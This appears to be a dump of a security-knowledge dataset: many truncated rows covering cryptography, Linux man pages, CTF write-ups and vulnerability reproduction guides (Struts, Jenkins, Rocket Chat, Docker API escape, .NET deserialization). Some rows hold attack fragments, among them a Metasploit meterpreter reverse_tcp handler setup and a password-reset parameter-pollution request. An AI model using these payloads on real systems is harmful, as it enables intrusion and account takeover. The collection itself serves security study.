text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
# ECC
## 概述
ECC 全称为椭圆曲线加密,EllipseCurve Cryptography,是一种基于椭圆曲线数学的公钥密码。与传统的基于大质数因子分解困难性的加密方法不同,ECC依赖于解决椭圆曲线离散对数问题的困难性。它的优势主要在于相对于其它方法,它可以在使用较短密钥长度的同时保持相同的密码强度。目前椭圆曲线主要采用的有限域有
- 以素数为模的整数域GF(p),通常在通用处理器上更为有效。
- 特征为 2 的伽罗华域GF(2^m),可以设计专门的硬件。
## 基本知识
我们首先来了解一下有限域上的椭圆曲线,有限域上的椭圆曲线是指在椭圆曲线的定义式
$y^2+axy+by=x^3+cx^2+dx+e$
中所有的系数都是... | sec-knowleage |
'\" t
.TH "FILE\-HIERARCHY" "7" "" "systemd 231" "file-hierarchy"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http... | sec-knowleage |
badblocks
===
查找磁盘中损坏的区块
## 补充说明
**badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。
### 语法
```shell
badblock(选项)(参数)
```
### 选项
```shell
-b<区块大小>:指定磁盘的区块大小,单位为字节;
-o<输出文件>:将检查的结果写入指定的输出文件;
-s:... | sec-knowleage |
---
title: S3 任意文件上传
---
<center><h1>S3 任意文件上传</h1></center>
---
如果对象存储配置不当,比如公共读写,那么可能就会造成任意文件上传与文件覆盖。
</br>
<img width="1000" src="/img/1652255086.png"></br>
如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年5月11日"
... | sec-knowleage |
# A2S [355 points] (10 solves)
The challenge is to recover the key of a reduced AES variant (only 2 rounds), given only
3 ciphertext-plaintext pairs. While we are also given two bytes of the key, I only noticed
this after I've already solved the challenge. I don't see how to use these to achieve a
significant speedup w... | sec-knowleage |
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBPASSWD" 5 "" "" ""
.SH NAME
smb... | sec-knowleage |
/**
* Generator for text printing Malbolge programs.
* 2012, 2015 Matthias Ernst.
* Please visit <http://www.matthias-ernst.eu/malbolge.html>
*
* To the extent possible under law, the author has dedicated all copyright
* and related and neighboring rights to this software to the public domain
* worldwide. This ... | sec-knowleage |
.\" $OpenBSD: mail.1,v 1.5 1994/06/29 05:09:32 deraadt Exp $
.\" Copyright (c) 1980, 1990, 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions... | sec-knowleage |
## Forgot Password Functionality
## Introduction
Some common bugs in the forgot password / reset password functionality
## How to exploit
1. Parameter pollution
```
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com&email=hacker@mail.com
```
2. Bruteforce the OTP code
```
POST /reset HTTP/1.1
Host: target.... | sec-knowleage |
#yoso(web, 250, 38 solves)
> You only live once, so why search twice?
> (admins love to search for flags btw)

We are able to send a link to admin, which he then visits. Our goal is to download admin's bookmarks.
After some investigation, we found a reflected xss at `http://78.46.224.80:1337/download.p... | sec-knowleage |
# JPEG File (Misc, 100p)
```
It will be fixed if you change somewhere by 1 bit.
```
In the task we get a [jpeg file](tktk.jpg) and the description is quite clear - we need a single bitflip to uncover the flag.
We simply generated images with bitflips and the scrolled through thumbnails.
We thought about using tesseract... | sec-knowleage |
# Web Hacking 101 中文版
原书:[Hack, Learn, Earn, with a Free E-Book](https://www.hackerone.com/blog/Hack-Learn-Earn-with-a-Free-E-Book)
译者:[飞龙](https://github.com/wizardforcel)
+ [在线阅读](https://www.gitbook.com/book/wizardforcel/web-hacking-101/details)
+ [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/web-ha... | sec-knowleage |
pvck
===
检测物理卷的LVM元数据的一致性
## 补充说明
**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。
### 语法
```shell
pvck(选项)(参数)
```
### 选项
```shell
-d:调试模式;
-v:详细信息模式;
--labelsector:指定LVE卷标所在扇区。
```
### 参数
物理卷:指定要检查的物理卷对应的设备文件。
### 实例
使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令:
```shell
pvc... | sec-knowleage |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
bool test(int a1) {
int v3 = a1;
int v4 = 0;
while (v3) {
v4 += v3 % 10;
v3 /= 10;
}
return v4 == 41;
}
int getint() {
return 49000000;
}
bool isprime(int number) {
if(number == 2) return true;
if(number % 2 == 0) return false;... | sec-knowleage |
# modified from https://github.com/tiangolo/fastapi/blob/master/.github/workflows/preview-docs.yml
name: Deploy to Netlify
on:
workflow_run:
workflows:
- Preview Site Wrapper
types:
- completed
# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# Th... | sec-knowleage |
# S2-016 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.15
漏洞详情:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 漏洞复现
在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,... | sec-knowleage |
##randBox (crypto, 120p)
###PL
[ENG](#eng-version)
`nc randBox-iw8w3ae3.9447.plumbing 9447`
```
Alphabet is '0123456789abcdef', max len is 64
You need to send a string that encrypts to '787fadc8d1944a35b3ed9d1433a9060f'
Guess 0/21 (Round 1/10)
```
Zadanie polegało na połączeniu się z serwerem a następnie na złamaniu 10... | sec-knowleage |
import sys
import json
import asyncio
import websockets
URI = 'ws://harmony-1.hackable.software:3380/chat'
async def register(ws, name: str) -> str:
await ws.send(json.dumps({'type': 'register', 'displayName': name}))
uid_msg = await ws.recv()
parsed_msg = json.loads(uid_msg)
if not 'uid' in pars... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE SCHEMA" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE SCHEMA \- 定义一个新的模式
.SH SYNOPSIS
.sp
.nf
CREATE SCHEMA \fIschemaname\fR [ AUTHORIZATION \fIusername\fR ] [ \fIschema_element\fR [ ... ] ]
CREATE SCHEMA AUTHORIZATION \fI... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_DUMPALL" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
pg_dumpall \- 抽出一个 PostgreSQL 数据库集群到脚本文件中
.SH SYNOPSIS
.sp
\fBpg_dumpall\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_dumpall\fR 是一个用于写出("转储"... | sec-knowleage |
version: "2"
services:
apisix:
image: vulhub/apisix:2.11.0
volumes:
- ./config.yml:/usr/local/apisix/conf/config.yaml:ro
depends_on:
- etcd
ports:
- "9080:9080"
- "9091:9091"
- "9443:9443"
etcd:
image: bitnami/etcd:3.4.15
environment:
ETCD_ENABLE_V2: "tru... | sec-knowleage |
# MoreWithLess
* Category: Forensics
* 200 Points
* Solved by the JCTF Team
## Description
> You need some EFF in your life.
A 8GB file was attached.
## Solution
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# file MoreWithLess.E01
MoreWithLess.E01: EWF/Expert Witness/EnCase i... | sec-knowleage |
# 基于第十课补充 Payload 1
在实战中可能会遇到各种诉求 payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。
这次主要补充了 PHP,python,ruby。
ps:在线代码高亮:http://tool.oschina.net/highlight
### 1、php-payload
```bash
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/m... | sec-knowleage |
# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazo... | sec-knowleage |
# Kioptrix: Level 1
下载地址:
```
https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar
```
## 实战操作
查找存活靶机IP地址
```
┌──(root💀kali)-[~/Desktop]
└─# netdiscover
Currently scanning: 192.168.47.0/16 | Screen View: Unique Hosts ... | sec-knowleage |
# .NET Serialization
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Formatters](#formatters)
* [XmlSerializer](#xmlserializer)
* [DataContractSerializer](#datacontractserializer)
* [NetDataContractSerializer](#netdatacontractserializer)
* [LosFormatter](#losformatter)
* [JSON.NET](#jsonne... | sec-knowleage |
### 堆溢出介绍
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(**之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数**),因而导致了数据溢出,并覆盖到**物理相邻的高地址**的下一个堆块。
不难发现,堆溢出漏洞发生的基本前提是
- 程序向堆上写入数据。
- 写入的数据大小没有被良好地控制。
对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。
堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我... | sec-knowleage |
# i-love-headdah (web, 100p, 97 solved)
A second trivial web task.
As previously we check for `robots.txt` and again there is:
```
User-agent: *
Disallow: /flag/
```
And in the directory there is `flag.txt`.
The link is actually broken, but we can fix the name by hand.
Once we get there it says: `You are using the wron... | sec-knowleage |
# Detecting debugging
检测调试器的方法很多, 比如检测进程名之类. 这里我们介绍一种方法, 就是通过检测一些函数的调用情况来分析程序当前是否处于被调试状态
```c
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
printf("DEBUGGING... Bye\n");
return 1;
}
printf("Hello\n");
return 0;
}
```
一个进程只能被一个进程ptrace, 如果你自己调用ptrace, 那么其它程序就无法通过ptrace调试或向你的程序注入代码.
如果程序当前被gdb调试, 那么pt... | sec-knowleage |
# Rocket Chat MongoDB 注入漏洞(CVE-2021-22911)
Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。
这个漏洞有两种攻击方式:
- 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
- 普通用户可以利用这个漏洞,获取任意用户的任意信息
参考链接:
- https://blog.sonarsource.com/nosql-injections-in-... | sec-knowleage |
# Back to the future, CAN, 250pts
> Our intelligence suggests that the DeLorean we previously recovered is capable of time travel.
According to the documents in our possession the time travel functionality is activated as soon as a specific ECU within the vehicle maintains a velocity of exactly 88 miles per hour for at... | sec-knowleage |
# digitalworld.local: FALL
> https://download.vulnhub.com/digitalworld/FALL.7z
靶场IP:`192.168.32.202`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.202
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 02:20 EDT
Nmap scan report for 192.168.32.202
Host is up (0.00024s latency).
Not shown: 6... | sec-knowleage |
---
title: Roam Research
date: 2022-11-23 16:23:31.693680
background: bg-[#090a0a]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 45 keyboard shortcuts found on Roam Research
---
Keyboard Shortcuts
------------------
### General
Shortcut | Action
---|---
`/` ... | sec-knowleage |
# 内存取证
> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
内存取证一般指对计算机及相关智能设备运行时的物理内存中存储的临时数据进行获取与分析,提取重要信息。
**相关文章**
- [计算机内存取证技术](http://www.binarydata.cn/archives/772.html)
- [数字取证-死活取证](https://blog.taielab.com/2019-05-09/digital-forensics-live-and-dead.html)
- ... | sec-knowleage |
---
title: Docker 远程 API 未授权访问逃逸
---
<center><h1>Docker 远程 API 未授权访问逃逸</h1></center>
---
docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
## 搭建
将 docker 守护进程监听在 0.0.0.0
```bash
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
```
## 检测
```bash
IP=`hostname -i | awk -F. '{print $1 "." $... | sec-knowleage |
resize
===
命令设置终端机视窗的大小
## 补充说明
**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。
### 语法
```shell
resize [-cu][-s <列数> <行数>]
```
### 选项
```shell
-c 就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
-s <列数> <行数> 设置终端机视窗的垂直高度和水平宽度。
-u 就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
```
### 实例
使用 C shell
```shell
[root@localhost ~]# ... | sec-knowleage |
# Writeup 9447 Security Society CTF 2015
Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w 9447 CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).

### Spis treści:
* [binned (Steganography) 100]
* [Give feedback (Misc) 15]
* ... | sec-knowleage |
.ig \"-*- nroff -*-
Copyright (C) 1999 Free Software Foundation, Inc.
Permission is granted to make and distribute verbatim copies of
this manual provided the copyright notice and this permission notice
are preserved on all copies.
Permission is granted to copy and distribute modified versions of this
manual under the ... | sec-knowleage |
# Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:
- http://secalert.net/#CVE-2016-4977
- https://deadpool.sh/2017/RCE-Springs/
- http://blog.knownsec.com/2016/10/spr... | sec-knowleage |
# Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)
## 原理
参考阅读 https://blogs.securiteam.com/index.php/archives/3171
## 环境搭建
执行如下命令启动jenkins 2.46.1:
```
docker compose up -d
```
等待完全启动成功后,访问`http://your-ip:8080`即可看到jenkins已成功运行,无需手工安装。
## 测试过程
### 步骤一、生成序列化字符串
参考<https://github.com/vulhub/CVE-2017-1000353>,首先下载[CVE-2017-10... | sec-knowleage |
.\" ++Copyright++ 1993
.\" -
.\" Copyright (c) 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source c... | sec-knowleage |
# T1588-002-获取能力-工具
## 来自ATT&CK的描述
攻击者可能会购买、窃取或下载可在攻击目标过程中使用的软件工具。工具可以是开源或闭源的,免费或商业的。一个工具可以被攻击者用于恶意目的,但工具(与恶意软件不同)并不是被用于这些目的(例如:PsExec)。工具的获取可能涉及商业软件许可证的采购,包括Cobalt Strike等红色团队工具。商业软件可以通过购买、盗取许可证(或软件的许可副本)或破解试用版来获得。
攻击者可以获得工具来支持他们的行动,包括支持执行破坏后的行为。除了自由下载或购买软件外,攻击者还可能从第三方实体(包括其他攻击者)窃取软件或软件许可证。
## 测试案例
暂无
## 检测日志
无法有效监测
#... | sec-knowleage |
# 打码平台整理

图:全球十大打码平台[1]
## References
\[1] 打码平台背后,血汗工厂下的打码工人,[GEETEST极验](https://www.freebuf.com/author/GEETEST%E6%9E%81%E9%AA%8C),https://www.freebuf.com/news/254659.html | sec-knowleage |
# S2-015 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.2
漏洞详情:
- http://struts.apache.org/docs/s2-015.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理与测试
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
```xml
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.ac... | sec-knowleage |
from Crypto.Util.number import *
size = 2048
rand_state = getRandomInteger(size // 2)
def keygen(size):
q = getPrime(size)
k = 2
while True:
p = q * k + 1
if isPrime(p):
break
k += 1
g = 2
while True:
if pow(g, q, p) == 1:
break
g +=... | sec-knowleage |
## Crypto 300 (crypto, 300p)
### PL
[ENG](#eng-version)
Zadanie polegało na odwróceniu działania podanego algorytmu, zaimplementowanego w javascripcie, dla podanego zaszyfrowanego tekstu. Kod szyfrujący i deszyfrujący umieszczony w zadaniu znajduje się [tutaj](./crypto300.js)
Zaszyfrowanego tekst: `51136f3b763d7d5e591... | sec-knowleage |
## 单例(Singleton)
### Intent
确保一个类只有一个实例,并提供该实例的全局访问点。
### Class Diagram
使用一个私有构造函数、一个私有静态变量以及一个公有静态函数来实现。
私有构造函数保证了不能通过构造函数来创建对象实例,只能通过公有静态函数返回唯一的私有静态变量。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/eca1f422-8381-409b-ad04-98ef39ae38ba.png"/> </div><br>
### Implementation
###... | sec-knowleage |
import codecs
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from crypto_commons.generic import bytes_to_long
from crypto_commons.rsa.rsa_commons import gcd, get_fi_distinct_primes, modinv
def read_ct():
with codecs.open("cipher", "rb") as input_file:
data = input_file.read(... | sec-knowleage |
.\"(c) Copyright 1992 by Panagiotis Tsirigotis
.\"(c) Sections Copyright 1998-2001 by Rob Braun
.\"All rights reserved. The file named COPYRIGHT specifies the terms
.\"and conditions for redistribution.
.\"
.TH XINETD 8 "14 June 2001"
.\" *************************** NAME *********************************
.SH NAME
xine... | sec-knowleage |
## 组合(Composite)
### Intent
将对象组合成树形结构来表示“整体/部分”层次关系,允许用户以相同的方式处理单独对象和组合对象。
### Class Diagram
组件(Component)类是组合类(Composite)和叶子类(Leaf)的父类,可以把组合类看成是树的中间节点。
组合对象拥有一个或者多个组件对象,因此组合对象的操作可以委托给组件对象去处理,而组件对象可以是另一个组合对象或者叶子对象。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2b8bfd57-b4d1-4... | sec-knowleage |
# 贡献文档要求
当你打算贡献某部分的内容时,你应该尽量确保
- 文档内容满足基本格式要求
- 文档的合理性
- 文档存储的格式
## 文档内容的基本格式
这里主要是指 [中文排版指南](https://github.com/ctf-wiki/ctf-wiki/wiki/%E4%B8%AD%E6%96%87%E6%8E%92%E7%89%88%E6%8C%87%E5%8D%97) 与 [MkDocs 使用说明](https://github.com/ctf-wiki/ctf-wiki/wiki/Mkdocs-%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E)。额外的基本要求如下
- 之后可能会考虑为段落标题自... | sec-knowleage |
# Apache Kafka Clients JNDI injection RCE (CVE-2023-25194)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Kafka is an open-source distributed event streaming platform that is used for real-time data streaming and processing. Kafka clients are a set of Java libraries that allow you to produce and consume messages fro... | sec-knowleage |
.TH NSSWITCH.CONF 5 "11 January 1998" "Linux" "Linux Programmer's Manual"
.SH NAME
nsswitch.conf \- 系统数据库及名字服务开关配置文件
.SH DESCRIPTION
C 程序库里很多函数都需要配置以便能在本地环境正常工作, 习惯上是使用文件(例如`/etc/passwd') 来完成这一任务. 但别的名字服务, 如网络信息服务NIS, 还有域名服务DNS等, 逐渐通用起来, 并且被加入了C 程序库里, 而它们使用的是固定的搜索顺序.
.LP
在有NYS 支持的Linux libc5以及GNU C Library 2.x (libc.s... | sec-knowleage |
# T1596-001-搜索开放的技术数据库-DNS/被动DNS
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可以在DNS数据中搜索可在目标确定期间使用的有关受害者的信息。DNS信息可能包括各种详细信息,包括注册的名称服务器以及概述目标子域,邮件服务器和其他主机的地址的记录。
攻击者可以搜索DNS数据以收集可操作的信息。也可以直接查询目标组织的名称服务器,或者搜索记录了DNS查询响应的集中存储库(称为被动DNS)(引自:DNS Dumpster)(引自:Circl Passive DNS)。攻击者还可能寻求和定位揭示目标内部网络信息的DNS错误配置/泄漏。这些来源提供的信息可能为如下活动提供可能性:其他形式的侦察活动(例如... | sec-knowleage |
# Can You Bypass The SOP 2
* Category: Web
* 150 Points
* Solved by the JCTF Team
## Description
> Hi Agent! Your mission is to exfiltrate data of our target, so we can catch him! Can you do it?
>
> URL: https://can-you-bypass-the-sop.ctf.bsidestlv.com/
>
> BOT: https://can-you-bypass-the-sop.ctf.bsidestlv.com/bot
##... | sec-knowleage |
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^{FLAG-HASH}$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)... | sec-knowleage |
# 数值类
---
- https://www.kancloud.cn/imxieke/ruby-base/107300
---
# 数值类的构成
在数值类中,有像 -1、0、1、10 这样的表示整数的 `Integer` 类,也有像 0.1、3.141592 这样的具有精度的、表示浮点小数的 `Float` 类。
这些数值类都被定义为了 `Numeric` 类的子类。另外,`Integer` 类又可以分为两种,一种是表示计算机硬件可以处理的数值的 `Fixnum` 类,另外一种是表示比 `Fixnum` 更大的数值的 `Bignum` 类。
程序中用到的整数一般都是 `Fixnum` 类范围内的整数。如果使用的整数超过了 `Fix... | sec-knowleage |
.\" -*- nroff -*-
.\"
.\" scp.1
.\"
.\" Author: Tatu Ylonen <ylo@cs.hut.fi>
.\"
.\" Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
.\" All rights reserved
.\"
.\" Created: Sun May 7 00:14:37 1995 ylo
.\"
.\" $OpenBSD: scp.1,v 1.27 2003/03/28 10:11:43 jmc Exp $
.\"
.Dd September 25, ... | sec-knowleage |
# rop32
Binary Exploitation, 400 points
## Description:
> Can you exploit the following program to get a flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("Can you ROP your way out of this one?\n");
... | sec-knowleage |
# Stonks
Category: Binary Exploitation, 20 points
## Description
> I decided to try something noone else has before.
>
> I made a bot to automatically trade stonks for me using AI and machine learning.
>
> I wouldn't believe you if you told me it's unsecure!
```c
#include <stdlib.h>
#include <stdio.h>
#include <st... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.29.
.TH INFO "1" "2016年9月" "info 6.3" "用户命令"
.SH 名称
info \- 阅读 Info 文档
.SH "SYNOPSIS 总览"
.B info
[\fI选项\fR]... [\fI菜单\-项目\fR...]
.SH "描述"
阅读 info 格式的文档。
.SH "选项"
.TP
\fB\-a\fR, \fB\-\-all\fR
使用所有匹配的手册。
.TP
\fB\-\-apropos\fR=\fISTRING\fR
在所有手册的索引中查找 STRING。
.T... | sec-knowleage |
# Cross-Cache Overflow & Page-level Heap Fengshui
> 注:这是两种联合起来的利用手法。
## Cross-Cache Overflow
与我们此前一直关注于 slub allocator 的各种利用手法不同,**Cross-Cache Overflow** 实际上是**针对 buddy system** 的利用手法,其主要基于如下思路:
- slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者。
- 内存中用作不同 `kmem_cache` 的页面在内存上是有可能相邻的。
- 若我们的漏洞对象存在于页面 ... | sec-knowleage |
'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: loadTk.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental ma... | sec-knowleage |
# 反爬研究
在和A师傅的交流过程中,明确了反爬技术是很重要的,对于头条产品来说主要考虑是视频版权。对于电商的黑产,主要是羊毛党比较多。因此在这里快速学习一下反爬技术。
## 爬虫技术
### 常规编写思路
- 分析页面请求格式
- 创建合适的http请求,验证请求的准确性
- 编写脚本,批量发送http请求,获取数据
### 代理池
#### 概念
> 为了保证代理的有效性,我们往往可能需要维护一个代理池。这个代理池里面存着非常多的代理,同时代理池还会定时爬取代理来补充到代理池中,同时还会不断检测其中代理的有效性。当然还有一个很重要的功能就是提供一个接口,这个接口可以随机返回代理池中的一个有效代理
> 公众号文章:[Link](h... | sec-knowleage |
## Rail Fence Cipher (Crypto, 50p)
Decrypt and find the flag.
AaY--rpyfneJBeaaX0n-,ZZcs-uXeeSVJ-sh2tioaZ}slrg,-ciE-anfGt.-eCIyss-TzprttFliora{GcouhQIadctm0ltt-FYluuezTyorZ-
###ENG
[PL](#pl-version)
The name of this task was everything we needed to know to solve it. Using
[this site](http://rumkin.com/tools/ciph... | sec-knowleage |
# Rucksack (RevCrypt 200)
> Find the value that encoded gives "B75B63369A52F5F30CFE5E642" to open the flag archive.
https://dctf.def.camp/quals-2016/rucksack.tar.gz
The binary given in challenge was simple windows dialog window. It was performing some interesting calculations on given number, and returning the res... | sec-knowleage |
# 格概述
格在数学上至少有两种含义
- 定义在非空有限集合上的偏序集合 L,满足集合 L 中的任意元素 a,b,使得 a,b 在 L 中存在一个最大下界,和最小上界。具体参见https://en.wikipedia.org/wiki/Lattice_(order)。
- 群论中的定义,是 $R^n$ 中的满足某种性质的子集。当然,也可以是其它群。
目前关于格方面的研究主要有以下几大方向
1. 格中计算问题的困难性,即这些问题的计算复杂性,主要包括
1. SVP 问题
2. CVP 问题
2. 如何求解格中的困难性问题,目前既有近似算法,也有一些精确性算法。
3. 基于格的密码分析,即如何利用格理论分析一些已有的密... | sec-knowleage |
# 爬虫
---
**拆分过程**
请求,过滤(提取),存储
---
## 爬虫的请求
### maven 依赖
```xml
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.12</version>
</dependency>
```
### get请求
```java
public static void main(String[] args) {
... | sec-knowleage |
### malloc_state 相关函数malloc_init_stat
```c
/*
Initialize a malloc_state struct.
This is called only from within malloc_consolidate, which needs
be called in the same contexts anyway. It is never called directly
outside of malloc_consolidate because some optimizing compilers try
to inline it at all call ... | sec-knowleage |
# Bashmach Alpha Hanukkah Riddle - חידת בסמ"ח אלפא לחנוכה
## Riddle
Basmach Alpha released a short [riddle](https://www.instagram.com/p/CmWifi8NINp/?igshid=YWJhMjlhZTc%3D) for Hanukkah in their [Instagram channel](https://www.instagram.com/bsmch.alpha/).

## Solution
The address bar in the image s... | sec-knowleage |
---
title: Skype
date: 2022-11-23 16:23:31.698711
background: bg-[#52ace2]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 31 keyboard shortcuts found in Skype
---
Keyboard Shortcuts {.cols-2}
------------------
### General I
Shortcut | Action
---|---
`Ctrl` `... | sec-knowleage |
# 第8章 特勤组——破解、漏洞利用和技巧
> 译者:[@Snowming](https://github.com/Snowming04)
>
> 校对者:[@鶇](http://wp.blkstone.me)、@哈姆太郎、@匿名jack

本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都用到,但对于特定场景或在某一次的案例中可能非常有用。
## 自动化
随着基于[启发式](https://baike.baidu.com/item/%E5%90%AF%E5%8F%91%E5%BC%8F/7365819)(heuri... | sec-knowleage |
# Baby hands (crypto 300)
###ENG
[PL](#pl-version)
We get some [data](intercepted.txt) with many triplets denoted as (d,c,n).
Our first idea was to check if maybe a pair of moduli share the same prime, but we found nothing.
It was a bit confusing because there are not that many attacks which require many payloads.
And ... | sec-knowleage |
# RCE
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**描述**
由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。
**相关工具**
- [commixproject/commix](https://github.com/commixproject/commix)
**相关案例**
- [静态站点托管平台仅能托管静态资源?](https://tttang.com/archive/1501/)
- [The Cloudflare Bug Bounty program a... | sec-knowleage |
import subprocess
for byte in range(256):
data=open("png.png","rb").read()
hdr="89504e470d0a1a0a0000000d494844520000029b000010000802000000b210bd54"
hdr=hdr.decode("hex")
data=hdr+data[len(hdr):]
idats=[]
ind=0
while True:
ind=data.find("IDAT", ind+1)
if ind==-1:
... | sec-knowleage |
.\" ++Copyright++ 1993
.\" -
.\" Copyright (c) 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source c... | sec-knowleage |
# 0x00 简介
